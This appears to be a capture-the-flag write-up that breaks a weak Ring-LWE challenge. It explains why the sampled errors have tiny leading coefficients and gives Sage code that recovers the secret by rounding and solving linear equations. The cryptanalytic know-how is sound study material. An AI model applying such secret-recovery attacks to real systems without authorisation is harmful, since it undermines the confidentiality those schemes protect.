First, a vector of 256 values is sampled using Gaussian distribuiton with sigma = 1000 (average absolute value is about 800, which is rather high). Let $r_0$ and $r_1$ be its two halves respectively. Then multiplication with matrix $U$ is performed, which results in $r’ = (r_0 + ir_1 || r_0 – ir_1)$, i.e. the second half is the complex conjugate of the first half. Then, this vector is treated as the vector of values of a polynomial $e(x)$ taken on the complex roots of the polynomial $x^{256}+p-1$, which are ordered exactly such that the second half of the roots is the complex conjugate of the first half of the roots (note that all roots come in conjugate pairs). Finally, the vector $r’$ is interpolated to obtain the polynomial $e(x)$. This is done by multiplying $r’$ by the Sigma_inv matrix. The polynomial $e(x)$ is then used in the Ring-LWE scheme described above.

I haven’t figured yet a precise explanation, but it turns out that the resulting scheme of generating $e(x)$ generates polynomial with much smaller coefficients than expected. (See UPD1). In particular, the least significant coefficients have an average absolute value of about 30, and the most significant coefficients are actually much smaller than 1! As a result, we can recover precisely several top coefficients of $a_i(x)s(x) = b_i(x)-e_i(x)$ by rounding $b_i(x)$, similarly to $a_i(x)$! Each such coefficient gives us a linear relation on $s(x)$ with coefficients defined by $a(x)$. Since we have 8 samples and $s(x)$ has 256 coefficients, we need to obtain at least 32 most significant coefficients of each $b_i(x)$. Experimentally we can verify that we can safely obtain these coefficients by rounding. By taking 33 equations, we can ensure that the system is overdefined and a wrong solution is not likely to pass.

Here is the pretty simple solution code (put the values from challenge.txt in the arrays $a$ and $b$):

T = 33
t = []
eqs = []
for i in xrange(8):
    # interpolate a_i and b_i and round
    avec = [round(v.real()) for v in Sigma_Inv * a[i]]
    bvec = [round(v.real()) for v in Sigma_Inv * b[i]]

    # generate matrix of multiplication by a_i(x)
    # recall that mult. by x
    # is simply rotation in our ring
    # thus we simply fill diagonals
    m = matrix(GF(prime), 256, 256)
    for ia, va in enumerate(avec):
        for j in xrange(256):
            m[(ia+j) % 256,j] = va

    # take the most significant T coefficients
    # as linear equations
    eqs.extend(list(m[-T:]))
    t.extend(list(bvec[-T:]))

m = matrix(GF(1487), eqs)
t = vector(GF(1487), t)

sol = m.solve_right(t)
print("sol", sol)

UPD1: The challenge author pointed me the relevant paper with explanations about the norms and the attack: Provably Weak Instances of Ring-LWE revisited (Wouter Castryck et al.)

Viewing all 40 articles
Browse latest View live